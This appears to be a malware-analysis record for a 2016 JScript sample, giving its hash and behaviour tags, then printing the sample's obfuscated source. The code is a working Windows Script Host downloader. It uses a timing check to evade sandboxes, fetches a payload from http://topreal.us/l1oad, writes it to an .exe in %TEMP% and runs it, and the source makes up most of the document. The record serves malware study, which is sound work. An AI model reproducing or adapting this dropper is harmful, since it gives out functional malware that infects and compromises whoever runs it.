20160328_da967ec41411174b23fb72dca61e4d30.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2560de13376a82c4cf591c729ef37d169b7a17207b98d0c98ee64299ba044bedcf3
Evidence
1var Vejpsfty = false;
2var Vokqa = "CreateObject";
3var Dbempyma = function Zgtlsy() {return WScript[Vokqa]("WScript.Shell");}();
4var Vbovrihdt = 123213;
5var Ayznuu = "MSXML2.XMLHTTP";
6var Gdatee = 2123213;
7var Hrwkdfk = 0;
8function Nmzrcoixwz(Exycmmizwa){Dbempyma["Run"](Exycmmizwa, Hrwkdfk, Hrwkdfk);};
9function Ooagdkz(){return Ayznuu;};
10function Mwcuz(Ujjje, Austbpof){return Ujjje - Austbpof;};
11function Dujfiny(){return Vokqa;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Vejpsfty = true;
15 @end
16@*/
17var Ujvgtwjggq = "";
18if (Vejpsfty)
19{
20function Vqdpkyyncc(){return 22;};
21var Pvpmozgpo = 0; var Guuhfpar = 0;
22function Ewjsfgf()
23{
24var Lltqffvlpv = new this["Date"]();
25var Wmweseymbm = Lltqffvlpv["getUTCMilliseconds"]();
26WScript["Sleep"](Vqdpkyyncc());
27var Lltqffvlpv = new this["Date"]();
28var Ixesh = Lltqffvlpv["getUTCMilliseconds"]();
29WScript["Sleep"](Vqdpkyyncc());
30var Lltqffvlpv = new this["Date"]();
31var Fkijodwg = Lltqffvlpv["getUTCMilliseconds"]();
32var Pvpmozgpo = "Plcothwlih";
33Pvpmozgpo = Mwcuz(Ixesh, Wmweseymbm);
34var Guuhfpar = "Yapjgtwf";
35Guuhfpar = Mwcuz(Fkijodwg, Ixesh);
36Ujvgtwjggq = "open";
37return Mwcuz(Pvpmozgpo, Guuhfpar);
38}
39var Odnuppfv = false;
40var Uclsm = false;
41for (var Vgdkfkrf = Hrwkdfk; Vgdkfkrf < Vqdpkyyncc() * 1; Vgdkfkrf++){if (Ewjsfgf() != Hrwkdfk){
42Odn …
49:5… Odnuppfv && Kndtqtcxeu() && Uclsm){
50function Fsyoszr() {return Dbempyma["ExpandEnvironmentStrings"]("%TEMP%/") + "nXbtwJH4W.exe";};
51 Eaclm = Ooagdkz();
52 Ccbtklhfk = WScript[Vokqa](Eaclm);
53 var Ritzu = 1;
54 while (Ritzu){
55try {
56Ccbtklhfk[Ujvgtwjggq]("GET", "http://topreal.us/l1oad", false);
57Ccbtklhfk["send"]();
58Rrmiuld = "Sleep";
59do {WScript[Rrmiuld](Vqdpkyyncc() * 11)} while (Ccbtklhfk["readystate"] < 2 * 2);
60Ritzu = Hrwkdfk;
61} catch(Fjked){Ritzu = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Qtxkonfmh(Tfros) {var Kxzglpwxt = (1, 2, 3, 4, 5, Tfros); return Kxzglpwxt;};
64Hixzcqpbbi = WScript[Dujfiny()]("ADODB.Stream");
65Eaclm = Hixzcqpbbi;
66Eaclm[Ujvgtwjggq]();
67Eaclm["type"] = Qtxkonfmh(1);
68Eaclm["write"](Ccbtklhfk["ResponseBody"]);
69Hixzcqpbbi["position"] = Qtxkonfmh(Hrwkdfk);
70Eaclm["Save" + "ToFile"](Fsyoszr(), 2);
71Hixzcqpbbi["close"]();
72Nmzrcoixwz(Fsyoszr());
73}
74}
75